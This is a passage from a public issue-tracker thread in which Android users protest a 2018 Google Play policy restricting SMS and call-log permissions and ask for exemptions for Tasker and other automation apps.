As many other people have stated, We understand security is good, its important but however we also need freedom on the Android platform, I use Tasker very very often for many SMS/call log tasks. Ex. It reads my SMS messages to me while I am driving over Bluetooth and It offers me CUSTOM responses etc.. Tasker is about efficiency and automation. Taking SMS/Call access from Tasker would be DESTROYING the ability to automate efficiently and even safety. The community is bloomed with goodness coming from this ability, not harm. Just like a user sees a warning for "maximum safe volume limit exceeded" and then you can dismiss the warning by selecting "ok" you need to allow the functionality and just warn the user, that's GOOD AND FAIR! I would be quick to throw my device away if it said volume too high (at half volume), there is nothing you can do we don't care sorry... See what I mean?? PLEASE DON'T KILL THE BLOOMING FLOWER OF GOODNESS AND ALLOW TASKER THE ABILITY TO HAVE SMS AND CALL LOG PERMISSIONS!

Samuel

ff...@gmail.com <ff...@gmail.com> #248Nov 12, 2018 04:37PM

I use call access with IFTT & Automate to allow me to redial phone numbers as a result of input to my Kronaby watch, Yet another unique use of this feature, taking this away besides damaging the Android brand will reduce the value of other tech investments I have made.

it...@gmail.com <it...@gmail.com> #249Nov 12, 2018 04:39PM

NFC Tools / Tasks and Droid Automation will be impacted too...
This policy restriction sucks!

Google ! Please, don't take away good features.

pr...@gmail.com <pr...@gmail.com> #250Nov 12, 2018 04:39PM

Tasker is the one of the biggest reason people want to stick with Google's Android OS and not move over to iOS . Please add an exception to your policy for Tasker and let it continue with these permissions, many many faithful tasker users will be thankful !

jb...@gmail.com <jb...@gmail.com> #251Nov 12, 2018 04:43PM

Please, don't restrict SMS access to Tasker

on...@gmail.com <on...@gmail.com> #252Nov 12, 2018 04:46PM

I too use SMS functionailty of Tasker and would like to have the choice of continuing to do so.
The freedom to control MY phone MYSELF is reason I went with Android.
Thanks for your concern but I'm an adult.

ia...@gmail.com <ia...@gmail.com> #253Nov 12, 2018 04:48PM

Just adding my voice to the chorus asking for this to be reconsidered (especially for Tasker). Customisation of function is what sets Android apart from an iPhone, and makes the choice between the two for a lot of us. Don't cripple that

am...@gmail.com <am...@gmail.com> #254Nov 12, 2018 04:51PM

If I wanted iOS, I would buy and iPhone. Don't make Android an iOS clone.

pi...@gmail.com <pi...@gmail.com> #255Nov 12, 2018 04:55PM

Good job Google! You're literally taking all the worst parts from iOS and almost none of the good. Please stop taking functionality away from Android. Every single update in the last 2 years continues to eliminate something that was useful to many. This is the wrong direction for your users.

da...@gmail.com <da...@gmail.com> #256Nov 12, 2018 05:01PM

Please make an exception for Tasker.

em...@gmail.com <em...@gmail.com> #257Nov 12, 2018 05:05PM

Please add Tasker as an exception because it is a perfect example of an app that should be an exception as you provide for.

be...@gmail.com <be...@gmail.com> #258Nov 12, 2018 05:08PM

Yes, please exempt Tasker! Give it more privileges, not less!

na...@gmail.com <na...@gmail.com> #259Nov 12, 2018 05:09PM

Dear Google,
you are supposed to be better than this. If I want a locked down ecosystem I would have gone with Apple. Please except Tasker from this

sp...@gmail.com <sp...@gmail.com> #260Nov 12, 2018 05:12PM

I use tasker to filter phone calls and text messages. While I understand the reason for the new restrictions, I think it is too much to completely block use of SMS and phone calls. There should be some way to allow users the ability to at least take extra steps to allow this functionality.

ig...@ramadas.net <ig...@ramadas.net> #261Nov 12, 2018 05:14PM

Please do not enforce these new policy! I also depend not only on Tasker but a set of other apps with SMS / call access to do some automation as well.

em...@gmail.com <em...@gmail.com> #262Nov 12, 2018 05:19PM

Isn't the whole purpose of "runtime permissions" is to let the user decide if they want to allow an app to do something or not?

For example, if Tasker asks the user is it OK to access SMS, then if the user says NO, then the user understands that of course they can't use Tasker to do SMS things if they said no. Same thing with CALL permissions.

So, if runtime permissions are not precisely for situations like this, then what are runtime permissions for?

ni...@gmail.com <ni...@gmail.com> #263Nov 12, 2018 05:19PM

Chiming in to let devs know that I too have chosen android exactly because these kind of restrictions are not present. Why can't this access change be made as a user setting instead? While expecting our daughter Taskers sms access was a perfect way to monitor messages for keywords that would override any ringer setting - this type of customizability is what has made android the os of choice for most power users!

pj...@gmail.com <pj...@gmail.com> #264Nov 12, 2018 05:22PM

I use Android because I like choice and customization. I like to use MY device that I paid 1k for the way I want and not be told how to use it. I understand the need for security, but not by taking away choice. Having a permission pop up that clearly states what it will be used for is all that is NEEDED. Or have certain functions disabled by default, but give users the ability to enable them under developer settings, the the user made a conscious decision and it is on that person. If I want to be told how to use my device and have an OS with limited functionality I might as well go to iPhones horrible iOS. If Google is going to do this then they need to build features like tasker into the OS.

pl...@gmail.com <pl...@gmail.com> #265Nov 12, 2018 05:31PM

Tasker makes my phone so much more.

Please don't damage my phone.

da...@gmail.com <da...@gmail.com> #266Nov 12, 2018 05:35PM

i get the security concerns in general, but fully support an exception for Tasker. Perhaps an option for the user to explicitly permit the app would be an approach that Google can support.

zo...@gmail.com <zo...@gmail.com> #267Nov 12, 2018 05:35PM

This will destroy Tasker and a bunch of other useful apps. Please figure out a proper exception process. Automation is a huge part of why Android is better than ios

in...@gmail.com <in...@gmail.com> #268Nov 12, 2018 05:36PM

I'm requesting that Tasker be added as an exemption to this rule.

ma...@gmail.com <ma...@gmail.com> #269Nov 12, 2018 05:37PM

I second that motion

ji...@gmail.com <ji...@gmail.com> #270Nov 12, 2018 05:38PM

I also use Android because of the customization capabilities. Please note that Tasker like other automation apps, only uses permissions at the request of the user. When Tasker uses SMS and Phone permissions, it is because the use programmed Tasker to perform actions that use those permissions.
As I have previously requested, there should be an automation class of apps that have what have been deemed to be security relevant permissions. Perhaps if users declare that they understand the significance of these permissions then all of these automation apps can be granted those security relevant permissions.
Jim Becker
Long time Android user

ma...@gmail.com <ma...@gmail.com> #271Nov 12, 2018 05:38PM

SMS automation via Tasker is a very useful feature that I, along with my co-workers use in conjunction with our monitoring platform. Removing the ability for a user to choose to allow an app to access the SMS/MMS on their own phone is hogwash, and should be re-thought.

bm...@gmail.com <bm...@gmail.com> #272Nov 12, 2018 05:45PM

Amazing how google likes to De-volve. I'm trying to limit input taps on my device while driving, which involves Tasker reading out my SMS messages, allowing me to respond accordingly. Sure, I can send a text w/ Google Assistant, but it's a half-baked option. Tasker negates this limitation (as w/ many, many others). Most users who install Tasker, have knowledge of how data/permissions is being accessed. With all the data sharing google collects and shares, it's unimaginable that it (Google) would reduce permissions on apps that actually use the permissions to the user's benefit.

Tasker's SMS options also allows me to find my phone if it goes missing by way of texting a keyword from ANY device. Once that keyword is received as a txt msg on my device, It takes a pic w/ front and back camera, turns on a strobe w/ the flash, makes a notification noise and a ring, records the geo-location, sends an email and a text back to the device in which the msg was sent from.

And then you have Android Device Manager that MIGHT allow the phone to ring and MAYBE give you a location. IF (big IF) it works.

Please don't limit the best app in the Play Store! Many users and developers have poured copious amounts of time and money into making Android a far more superior OS than iOS for power users, such as myself (and countless others).

THEORY: Google could be stealing these ideas and implementing into future updates that most phones will never get due to Android fragmentation! Sneaky Sneaky, Google.

Sad thing is that this is a growing trend w/ Google. They tried to take accessibility rights away before, luckily they did not. They ruined youtube and murdered their own Google+. Google just bought Waze, so expect that to be ruined as well!

Guess I'll hold off on my upgrade till January 2019, when I'll be rooting my new phone or buying an iPhone!

Thanks for listening to your users, Google!

cr...@gmail.com <cr...@gmail.com> #273Nov 12, 2018 05:48PM

Removing access to these items is a step in the wrong direction. The fact that Google wants to improve the security of Android is great, but not so much when they completely restrict features that Android users have come to depend on. I know I personally, and many other Android users, use Android for the features/customization it has that other mobile platforms don't have. Google, when you make changes like this, a portion of your use base loses many of the features/customization that they originally picked Android for.

MANY Android user use 3rd party apps (like Tasker) to monitor text/calls and take an action. If you want strengthen security around texts/calls, fine, but you need to provide a way for 3rd party app that have a legitimate need for access to these items to continue to have access. Otherwise, if you continue to make changes like this that limit Android's functionality, users that have been loyal to Android for years will no longer have a reason to stay with Android.

sh...@gmail.com <sh...@gmail.com> #274Nov 12, 2018 06:00PM

Adding my voice to the choir. Removing this functionality will severely hamper my ability to use Tasker. Add additional permissions or place a time limit on access and require renewal but simply removing the ability for Android to outmaneuver iOS as it always has is frustrating to say the least.

jo...@gmail.com <jo...@gmail.com> #275Nov 12, 2018 06:03PM

Hey Google. Don't you know, that this is a bad idea. This is the reason, we all support Android over iOS. Please don't make it worse.

mg...@gmail.com <mg...@gmail.com> #276Nov 12, 2018 06:03PM

Tasker is a big part of why I switched from iOS to Android. Please reconsider this.

lb...@gmail.com <lb...@gmail.com> #277Nov 12, 2018 06:07PM

About SMS, if the reason to include the restriction is that apps tell the user it's for verification, yet they use it later too, just force apps developers to tell what it is used for.
If it's just for verification, Google could force them to use a special API instead of the SMS permission.
As far as I remember, there is such an API...

[Deleted User] <[Deleted User]> #278Nov 12, 2018 06:11PM

please, don't penalize tasker and apps of this kind. We need automated tasks

fe...@gmail.com <fe...@gmail.com> #279Nov 12, 2018 06:17PM

I am not a big user of call recording apps or Tasker, but I have zero interest in some randos from California deciding how I can use products that I paid for.

It's ironic to see Google slowly turning into a run of the mill corporate ivory tower institution. If the internet was built on the same principles that are driving Google to be an Apple-wannabe, Google's search engine would simply never reach a mass audience in the early 2000s. I bet your data dashboard doesn't show you that!

jh...@gmail.com <jh...@gmail.com> #280Nov 12, 2018 06:23PM

Please do not remove takers ability to access/initiate SMS. I utilize this functionality an in order to safely auto-reply to messages while driving.

ak...@gmail.com <ak...@gmail.com> #281Nov 12, 2018 06:25PM

Don't take away SMS access from apps that use them responsibility! Make your permissions system more diverse instead, or include a more "advanced" set of permissions!

sp...@gmail.com <sp...@gmail.com> #282Nov 12, 2018 06:55PM

Stop crippling apps like Tasker. Users have accepted the permissions when installing the app.

or...@gmail.com <or...@gmail.com> #283Nov 12, 2018 07:07PM

Automation apps like Tasker should be excluded from this restriction. I leaved iOS because of its closure and restrictions that limit the use of our smartphones, Android is different and powerful do not make it like iOS.

te...@gmail.com <te...@gmail.com> #284Nov 12, 2018 07:10PM

wa...@gmail.com <wa...@gmail.com> #285Nov 12, 2018 07:19PM

Please allow exceptions for automation apps like Tasker!

lu...@gmail.com <lu...@gmail.com> #286Nov 12, 2018 07:21PM

+1 to allow Tasker to access SMS if the user gives it permission.

ry...@gmail.com <ry...@gmail.com> #287Nov 12, 2018 07:22PM

tasker and ACR are invaluable to me, please let me have control my permissions as an end user.

ch...@nash-family.info <ch...@nash-family.info> #288Nov 12, 2018 07:29PM

As with all of the above comments I truly hope that you will reconsider this change. I have used Tasker as long as I have used Android and having it crippled by the platform I love will be very sad. If you need to restrict permissions then please introduce a new, explicit permission to allow apps like Tasker to continue to read SMS data. I would be happy to accept such a permission explicitly from within Tasker.

se...@gmail.com <se...@gmail.com> #289Nov 12, 2018 07:29PM

On these tasker like apps, we need to define to where to send the sms. Most
of the cases, I believe, are only reading the sms.
Anyway, on the ones I've used, I have to confirm the access to read/send
sms.

On the other hand, I recently got a phone with android 7.2. To my surprise
I found that it sent a text to a number I didn't know and had trouble
finding out. Eventually discovered that it was Google trying to validate my
phone number on this phone. It NEVER alerted that it needs to send the
text, it's almost hidden in the OS settings, and enabled by default. On my
case, under Setttings > Google > Device phone number > Control how others
connect with you ("control how others connect with you & how your number is
verified":

https://support.google.com/android/answer/7521240?p=verify_number&visit_id=636760004758796916-2957775173&rd=1&authuser=0
)
By default it's set to "use my number", when there are other options
including "use my number, but ask first if charges apply"

I think google should first clean it's home before imposing the devs who
have good apps to change them.

Just my 2 cents

be...@gmail.com <be...@gmail.com> #290Nov 12, 2018 08:05PM

Tasker SMS ist the only way to exchange data between my family's phones when one of us doesn't have mobile data (coverage, budget, ...). Please, Google, leave us the option!

is...@gmail.com <is...@gmail.com> #291Nov 12, 2018 08:21PM

I rely heavily on Tasker for automating when I'm oncall for my job. As a Unix Sysadmin I get a lot of pages from work and Tasker helps me deal with those. I have also programmed an "Oncall mode" in Tasker so that it knows when I'm oncall and handles my texts differently. Not to mention auto-replying to emails when I'm asleep. Losing these features in Tasker would be a huge blow to automation and a step in the wrong direction. At the VERY least allow exceptions to genuine programs, like Tasker, who do all good and no harm.

gj...@gmail.com <gj...@gmail.com> #292Nov 12, 2018 08:31PM

Tasker has been around for a long time and has not misbehaved. Like many of its users, I have used the SMS and phone features to automate my life. Examples include reading SMS messages when I am driving and
letting my wife's calls ring through when in Do Not Disturb mode. Please reconsider your decision and allow Tasker access to SMS and phone call information.
Thank you

ae...@gmail.com <ae...@gmail.com> #293Nov 12, 2018 09:16PM

I use SMS for a variety of automation tasks, from simple, like turning on my hotspot when my phone is in another room, to more sophisticated power management and location tracking in the event it's lost or stolen. Removing this ability from applications such as tasker will cripple many of the fun and advanced functions that make Android so versatile. I understand the need for increased security but there should be provisions or exceptions available for advanced features to continue to be used by power users.

la...@gmail.com <la...@gmail.com> #294Nov 12, 2018 09:23PM

Improving security is a high good - however freedom to choose what to do with my data is, too. If I want my automation app (and I do want to) to access my SMS the fact that I am not able to allow this would drive me away from an Android version introducing this restriction. Let Tasker access SMS!

ma...@gmail.com <ma...@gmail.com> #295Nov 12, 2018 09:34PM

For me Android is the OS that allows access to many apps, control over them (with root privileges) and allows customization. Bad things are "fragmentation", bad support, nasty tricks by manufacturers and selinux rules coming into my way. Apple is not much better but with sms/phone access restriction I would rather switch to Apple or old Nokia phone than use new android. Apps that are crucial for me are: should I answer, llama / tasker, terminal, anything for call recording, anything to backup my sms/call history, a browser (Firefox wins on mobile for me), any firewall (I'm using iptables), Google authenticator, Gmail, any navigation. Out of the list 4/10 to 5/10 would be impacted. 50% of functionality removed is much. Too much.

du...@gmail.com <du...@gmail.com> #296Nov 12, 2018 09:50PM

I choose Android over iOS because of flexibility provided by third party apps such as Tasker. Though I'm jealous of Apple's (outward) stance on privacy, I don't appreciate their take-it-or-leave-it approach. An OS should give me, the end user, the choice of how I choose to allow permissions to be applied. Please reconsider your permission policy which impacts the ability for Tasker to send/make texts, calls, etc. Allow users the ability to override these (and similar) restrictions on an app-by-app basis.

su...@googlemail.com <su...@googlemail.com> #297Nov 12, 2018 10:40PM

Tasker is the number one reason I chose Android over iOS. It just allows me to do the things how I want to do them. I understand you want to protect users, but the beauty of Android is its ability to give the user the choice of how the phone works. Please don't remove this much loved (and daily used) feature from our phones.

ha...@gmail.com <ha...@gmail.com> #298Nov 12, 2018 10:49PM

Please don't cripple functionality in Tasker. Android and its friendliness towards apps such is Tasker are one of the main reasons I love the ecosystem and I don't use iOS. I understand the need for security and applaud it. Maybe make it a developer setting?

Please let us continue to explore automation with Tasker and Android.

[Deleted User] <[Deleted User]> #299Nov 12, 2018 10:51PM

As I have stated in th GPlay Tasker review - Android is nothing without Tasker. Don't cripple this super advanced and cool tool!

dj...@gmail.com <dj...@gmail.com> #300Nov 12, 2018 10:53PM

Google, have you seen your own Play Store? Do you know how many users are using Tasker? And the rating of the app? Please don't touch Tasker!

ma...@smarani.it <ma...@smarani.it> #301Nov 12, 2018 10:58PM

This is another request not to restrict apps like Tasker from accessing SMS and calls. I use it daily to auto reply to SMS when I'm in a meeting or on a call. So do tons of other users. This is like the old Dilbert cartoon where the IT guy says that security is more important than usability. If some users want to allow an app to access SMS, they should be able to. Please reconsider this draconian policy and make an exception for task type apps.

ma...@gmail.com <ma...@gmail.com> #302Nov 12, 2018 11:03PM

Please reconsider this decision for automation type applications, keep access to these features available. Apps like Tasker make Android great and why I would never purchase an Apple IOS device.

ki...@gmail.com <ki...@gmail.com> #303Nov 12, 2018 11:15PM

This will break the function of my alarm system which is programmed via SMS via a app that writes the programming options in to a SMS in the correct format to send to the panel.

az...@gmail.com <az...@gmail.com> #304Nov 12, 2018 11:41PM

Tasker is the most critical tool for my phone. Every function on my device goes through Tasker and KLWP to create my custom user interface. I have already lost major functionality in previous security changes. Google needs to figure out better ways to secure their OS problems without taking functionality away from the end-users and developers.

[Deleted User] <[Deleted User]> #305Nov 13, 2018 12:12AM

I use Tasker DAILY for SMS features. I would hate to see that ability disappear! Please consider making case-by-case exceptions for genuinely useful apps like Tasker and allowing them to keep their functionality and productivity for end users like me.

ic...@gmail.com <ic...@gmail.com> #306Nov 13, 2018 12:23AM

Google, make exception for Tasker. This will otherwise wreck so many people's automation Setups and we'll hate you dearly.

ja...@gmail.com <ja...@gmail.com> #307Nov 13, 2018 02:21AM

Literally the only Tasker tasks I have use SMS. It IS the core functionality of the app for me.

du...@gmail.com <du...@gmail.com> #308Nov 13, 2018 02:39AM

You know google without tasker android isn't a smartphone, by removing sms and phone functionality you will cripple it. Please don't do it. Review it. Make an exception.

no...@gmail.com <no...@gmail.com> #309Nov 13, 2018 02:44AM

Shame on you Google. You are taking away the ability to use an app, Tasker, that I paid for and depend on to provide functions not otherwise available on the Android platform. There has to be another way to achieve higher security without taking away functionality. Maybe don't allow a propmt for these permissions but instead force users to explicitly go into the app permissions and enable it like we do for battery optimization.

Do the right thing, come up with a solution that doesn't cripple such a useful app.

gl...@gmail.com <gl...@gmail.com> #310Nov 13, 2018 02:54AM

Tasker gives us the freedom to customize our Android. Don't allow it to be crippled. Create an exception for it.

ph...@gmail.com <ph...@gmail.com> #311Nov 13, 2018 02:58AM

I want to add my voice to support Tasker. Please don't cripple this app. I rely on it heavily including its capability to allow me to block unknown callers and to remind me about missed texts.

ja...@gmail.com <ja...@gmail.com> #312Nov 13, 2018 03:25AM

Please allow this exemption for Tasker. Or push myself and many others that much closer to switching to alternative OSs such as Tizen.

James H

ga...@gmail.com <ga...@gmail.com> #313Nov 13, 2018 03:37AM

Unfortunate and yet not surprising, just look at the news reports about how Google is toward some of their staff. Shows an overbearing narcissistic attitude towards others.... Archaic really.

People use apps because they work for the individual and should not be punished by having Google take more and more control away from them.

sc...@gmail.com <sc...@gmail.com> #314Nov 13, 2018 04:11AM

One of my primary reasons for not joining the Apple ecosystem is the original-intended freedom of Android. Bad actors have required Google to get tougher, but this isn't well thought out. Tasker is extremely integral to my enjoyment of my Android phone and hindering the app and its superior dev is betraying users and the dev.

Please seriously consider some of the other reasonable alternatives provided here.

ol...@gmail.com <ol...@gmail.com> #315Nov 13, 2018 05:03AM

Kindly allow exception for Tasker

jo...@sparksfamily.net <jo...@sparksfamily.net> #316Nov 13, 2018 05:05AM

Maintain access to sms and call log for Tasker.

ra...@gmail.com <ra...@gmail.com> #317Nov 13, 2018 05:45AM

Tasker is an app that needs to be exempted from this policy I believe, the founding principle of Tasker is/was total Android automation and taking away critical SMS/Calls access to Tasker is nothing short of beating its purpose. Ultimately, if enforced, this policy will upset thousands of Tasker (extension devs) and users alike. While this number may be a minority in Google's eyes, Android is about keeping the platform open to choice and in the best interest of it an exemption can be, perhaps maybe, made. I, for one, understand the blooming issues with Android Security and Privacy and am in acceptance for strong policy enforcement to protect the same. Having said that, it is Google's responsibility to think about policy that allows for the platform and their users to remain open and welcoming.

dn...@gmail.com <dn...@gmail.com> #318Nov 13, 2018 05:48AM

Please exempt automation apps like Tasker. Not being able to access important features like SMS and call log would cripple the app. Thank you.

mi...@gmail.com <mi...@gmail.com> #319Nov 13, 2018 06:32AM

You need to add an exception for automation apps like Tasker. You've arbitrarily (and wildly incorrectly) determined that its usage of sms and call data is not core to the application and harmful to users. This is completely wrong as you can see above by all the responses. It uses this data exactly as I want it to. In fact is say I trust Tasker far more with my call and sms data then I do my native call and text applications.

Please reverse this decision. You are harming your users and your developers.

ll...@gmail.com <ll...@gmail.com> #320Nov 13, 2018 07:35AM

Taking these features away = less functionality so unless you're really that confident people will simply put up with this loss, and not jump ship to Apple then this is a bad move.

on...@gmail.com <on...@gmail.com> #321Nov 13, 2018 07:35AM

One of the reasons for using Android is Tasker! It lets you build anything on top of it for your self and your ease.

I think Google should reconsider the decision of not allowing permissions for calls and SMS.

ma...@gmail.com <ma...@gmail.com> #322Nov 13, 2018 07:38AM

Please make an exception for Tasker, I use it to send text messages to co-workers in case of a certain email alert. Its features like this why I choose Android & Tasker.

ro...@gmail.com <ro...@gmail.com> #323Nov 13, 2018 08:08AM

Please google let Tasker survive, add them to an exception

ni...@gmail.com <ni...@gmail.com> #324Nov 13, 2018 08:18AM

not right!

rb...@gmail.com <rb...@gmail.com> #325Nov 13, 2018 08:23AM

Not allowing this permission will harm many apps and Google should reconsider this decision. This what makes Android better than iOS for me and removing it will take away that.

ch...@gmail.com <ch...@gmail.com> #326Nov 13, 2018 08:28AM

This is wrong! I understand the issue but when an app uses the permissions for a legitimate reason it should be allowed.

gj...@gmail.com <gj...@gmail.com> #327Nov 13, 2018 08:33AM

Don't cripple Tasker!

th...@gmail.com <th...@gmail.com> #328Nov 13, 2018 08:36AM

There are plenty of trash apps on your play store with or without permission, also they come with Malwares. Don't mess with Tasker. Maybe the permission structure could be re-written with with Android Q with a whole new app store.

al...@gmail.com <al...@gmail.com> #329Nov 13, 2018 08:49AM

Not allowing this permission will harm many apps and Google should reconsider this decision. This what makes Android better than iOS for me and removing it will take away that.

co...@gmail.com <co...@gmail.com> #330Nov 13, 2018 09:08AM

This is absolutely wrong to lock down the permission for call-log and SMS. Surely Android is going on the path of iOS by putting on these restrictions. Android is loved by millions throughout the world for it's open source nature, do not make this hard for your lovers. Let users choose what they want and to which application they want to give permissions, you should not decide this on behalf of your users. If this is the case you should also restrict the Notification reading permission. So please reconsider this decision and let users enjoy their Android version just like they are now.

ka...@gmail.com <ka...@gmail.com> #331Nov 13, 2018 09:08AM

There are many applications required this permission and many people use that application regularely. Google should not restrict this type of permission because it turn android to IOS. We have liberty to use android system mobile Phone. By doing this google create its own dictatorial rule on all over the world. So, I request please do not rectrict this type of permission. Users are willfull to grant this type of permission.

gr...@gmail.com <gr...@gmail.com> #332Nov 13, 2018 09:26AM

Another request to add Tasker to the white list please

cu...@gmail.com <cu...@gmail.com> #333Nov 13, 2018 09:33AM

I use Simple one-click widgets connected to tasker to send an SMS to my children's phones to do simple things like turning off the WiFi at certain times (Homeword/Bedtime)... This decision would instantly ruin a number of very useful automation setups I have .... It is unfair that someone can just decide to ruin the functionality of literally nthe most useful app on the playstore !

to...@gmail.com <to...@gmail.com> #334Nov 13, 2018 09:50AM

Please whitelist Tasker.

pa...@gmail.com <pa...@gmail.com> #335Nov 13, 2018 09:59AM

Google, your openness is the reason so many use Android. If you cripple the text messaging, many people will be devastated. Tasker, Automate, all apps like them would not function as an automatic SMS responder (which several people are using them for).

ch...@gmail.com <ch...@gmail.com> #336Nov 13, 2018 10:12AM

Please, consider leaving a whitelist for apps like Tasker and some others which are crucially relying on those features...

lb...@gmail.com <lb...@gmail.com> #337Nov 13, 2018 10:12AM

Really hate that Google puts more and more restrictions to developers, which come to users too.
Usually they do it for legitimate reasons :
1. Background operations limitations. Reason here is battery, and since developers could still do the same as always, yet just be more visible to the user, it was ok.
2. Another example is the permission model. Still all is possible. Just ask users for confirmation. Quite annoying to develop this way, but still all is fine.
3. Same for forcing developers to target to latest Android versions. Again, should be good for users, and hard for developers, but still should be possible, usually.

But, there are recently times that Google restrict for no good reason, and doesn't offer an alternative:
1. Creating shortcuts. Now it's possible only via a very limited and crippled API, which not all launchers even support. They dropped all support to the old API of doing it.
2. Accessibility - I don't get what is the current situation on this topic, but in the beginning they wanted that it will be used only for apps that are intended for disabilities.
3. Calls recording. Now it's almost impossible on Android P (maybe possible via speaker or on rooted devices). There was actually a time on the preview version of Android P that I thought that call recording will be officially supported ( I made a project that works great on it, recording calls without issues). But then it came to be the opposite.

and now this...

sy...@gmail.com <sy...@gmail.com> #338Nov 13, 2018 11:48AM

I agree with everyone please whitelist Tasker.
It's an amazing apps and it's the reason i choose Android coz it's open, so try to find a way to let users choose the apps he want to grants access on what he really need.

hu...@gmail.com <hu...@gmail.com> #339Nov 13, 2018 12:31PM

I am appalled. All the tools I extol Android for vs. the fruit (well, ok, a _lot_ of them) become useless with this move! I came here to protest the impact to Tasker, only to discover that your new security rules will eviscerate the usefulness of ACR Call Recorder and Truecaller, as well.
Please stop. This needs to be handled with more nuance. There are useful, well-behaved apps [and there will be new ones that should be considered on their merits (and maybe monitored, initially)] that should be allowed access to these resources so they can continue to provide the useful services they are offering.

ku...@gmail.com <ku...@gmail.com> #340Nov 13, 2018 12:33PM

Users already have full control on app permissions, since Android M, why are you doing that Google? Let the developers continue to make the apps that made Android what it's today, an open ecosystem where the user can choose which apps to use and how to use them.

th...@gmail.com <th...@gmail.com> #341Nov 13, 2018 12:38PM

Way to go, lock down the platform even more. This isn't right.

pe...@zombik.cz <pe...@zombik.cz> #342Nov 13, 2018 12:47PM

for google, smartphone is only dumb terminal for their online services. Android is without smart possibilities (no profiles, no automation, only touchfest for every stupidity, poor api with poor permission system, no basic function as call recorder etc) and if some app give "brain" to my smartphone, google wants to destroy it. And their explanation makes no sense. I can choose any app from store and use it as default phone app with permission. Why I can't give permission to other app? In both cases it's about trust for application. Permission for only one app from store is safer?!?

rm...@gmail.com <rm...@gmail.com> #343Nov 13, 2018 12:50PM

Add me to the list. My app uses SMS API for alerting, and notification access won't do as the rules are based on numbers, which won't be displayed when a number is shown as a contact.

va...@gmail.com <va...@gmail.com> #344Nov 13, 2018 01:10PM

not ok!

da...@hendricks.ws <da...@hendricks.ws> #345Nov 13, 2018 01:11PM

Google, you're going to break Tasker and the main thing I use it for. I use a text message receipt to trigger tasks. Please don't break it!

jm...@gmail.com <jm...@gmail.com> #346Nov 13, 2018 01:14PM

This restriction will harm Android rather than protect users. Whilst safety of online experience is important you are breaking a fundamental selling point, flexibility. Are we heading towards only Google applications will be allowed extended permissions? Very poor if tasker and it's like are broken.

fb...@gmail.com <fb...@gmail.com> #347Nov 13, 2018 01:37PM

As a disabled user and with half a clue on technology, I find this move inhibiting my needs. SMS and Call log access to apps such as Tasker are essential as i can build my own spam and recording system so i don't deal with scrupulous scambags. Since Taskers'inception on my devices, my ability to live a normal life has shot up and the crap from scam callers and SMS dropped by over 80%.

Does thos limitation also apply to your apps that do not meet this criteria, namely Google Play / Google Play Services? They don't in anyway provide me with protection, in fact the opposite as all my call logs and SMS history sits on your servers?

ec...@gmail.com <ec...@gmail.com> #348Nov 13, 2018 01:46PM

Please re-consider allowing exceptions from some apps. I use an SMS and call log backup app which will be affected as well as Tasked.

lo...@gmail.com <lo...@gmail.com> #349Nov 13, 2018 01:49PM

These permissions that allow Tasker and other applications to send SMS messages are very much needed. I request, as others have, that you take another look to see if there is a way that these applications can continue to run with these permissions or provide a secure set of permissions for such applications. I do consulting and I use SMS to send reminders to my clients about upcoming meetings and various other functions. I also use SMS to send reminders about upcoming tasks to myself. I send these via Tasker and other applications. These messages are critical to my consulting business as my clients have come to expect these reminders.

ha...@gmail.com <ha...@gmail.com> #350Nov 13, 2018 02:02PM

My permission declaration form was denied because "The declared feature {Automatically respond to incoming text messages and phone calls} is not allowed." but your policy states that it is allowed for "providing critical core features or services within the app." Automatically respond to incoming text messages and phone calls IS the core feature of my app. I NEED to use this permission, or else my app (and many others with the same core functionality) will need to be removed from the Play Store.

st...@gmail.com <st...@gmail.com> #351Nov 13, 2018 02:07PM

Taker is the main reason I have an Android phone. Please don't don't remove this functionality or I might as all go to iOS at that point.

ma...@gmail.com <ma...@gmail.com> #352Nov 13, 2018 02:17PM

Please reconsider exempting Tasker from these new Call and SMS restrictions. I understand that you have an obligation to keep things safe and secure for the mainy non-tech-savvy users. However, breaking core functionality of long-standing and very popular apps (particularly one which demonstrates the power and flexibility of your APIs to customize behaviors and actions on your phones in an intelligent way,) seems not the best way to go about this. While you're at it, you should probably exempt IfTTT while you're at it.

yo...@gmail.com <yo...@gmail.com> #353Nov 13, 2018 02:54PM

How to break an excellent application and cut off one of its most important features. That's ridiculous!

mo...@gmail.com <mo...@gmail.com> #354Nov 13, 2018 03:11PM

Dear Google, you have recently made a noise in the digital well-being field. You might like to know I rely on Tasker's ability to respond to SMS messages and phone calls to survive. If I am having a bad day with anxiety or panic attacks, I will put my phone in Do No Disturb mode - and any messages received from a mobile phone number will be automatically responded to (once per person per 3 hours). Without the simple ability - it means that messages sit unanswered and then you have to cope with people thinking they have somehow upset me, or that I am ignoring them. THIS causes a HUGE amount of anxiety and makes a bad day so much worse. Please reconsider the Tasker situation - I rely on this to stop bad days turning into bad weeks or months.

jl...@gmail.com <jl...@gmail.com> #355Nov 13, 2018 03:13PM

I use Automagic (a Tasker-like app) and I request that Google rethink its position on this. Please allow apps like Automagic (and Tasker) to retain their access to / control over SMS.......

gi...@gelmetti.eu <gi...@gelmetti.eu> #356Nov 13, 2018 03:50PM

Please Google stop the block at Tasker type apps for SMS/Call access, we NEED IT

mr...@gmail.com <mr...@gmail.com> #357Nov 13, 2018 04:30PM

I rely on Tasker to read out load SMS messages when I am driving. Please do not remove SMS access

lf...@gmail.com <lf...@gmail.com> #358Nov 13, 2018 04:42PM

I rely on the SMS capabilities of Tasker and Join Apps. Please don't kill them.

aj...@gmail.com <aj...@gmail.com> #359Nov 13, 2018 04:45PM

Please add an exception to the SMS/Call permissions to automation apps like Tasker. The ability to react to SMS and calls for automation purposes is a key feature that many people use regularly.

go...@gmail.com <go...@gmail.com> #360Nov 13, 2018 04:47PM

You need to stop this nonsense Google unless you want to lose all of your customers. You're becoming more and more like Apple everyday. This capability is the very reason I use the Automagic Automation app and I rely on it to tell me who's calling and texting me so I don't have to look at my phone. Keep this up and I'll just switch to Apple.

dc...@serviciosintegras.com <dc...@serviciosintegras.com> #361Nov 13, 2018 05:10PM

es contraproducente restringir esas opciones para aplicaciones de automatización, no solo para tasker si no para otras tantas aplicaciones utiles tambien para automatización de hogares.

we...@gmail.com <we...@gmail.com> #362Nov 13, 2018 05:11PM

Svp Google ne supprimez pas les droits a l'application. Elle est top.

mi...@gmail.com <mi...@gmail.com> #363Nov 13, 2018 06:11PM

Come now, Google! One of the main features that holds me as a loyal Android customer is the ability to configure my phone to do what I want it to do with my permission! Removing this ability from Task Automation apps would easily remove 50% of the functionality I love about my Android phone. Please add an exception for legitimate apps that use call log or SMS permissions, specifically net.dinglisch.android.taskerm, in my case.

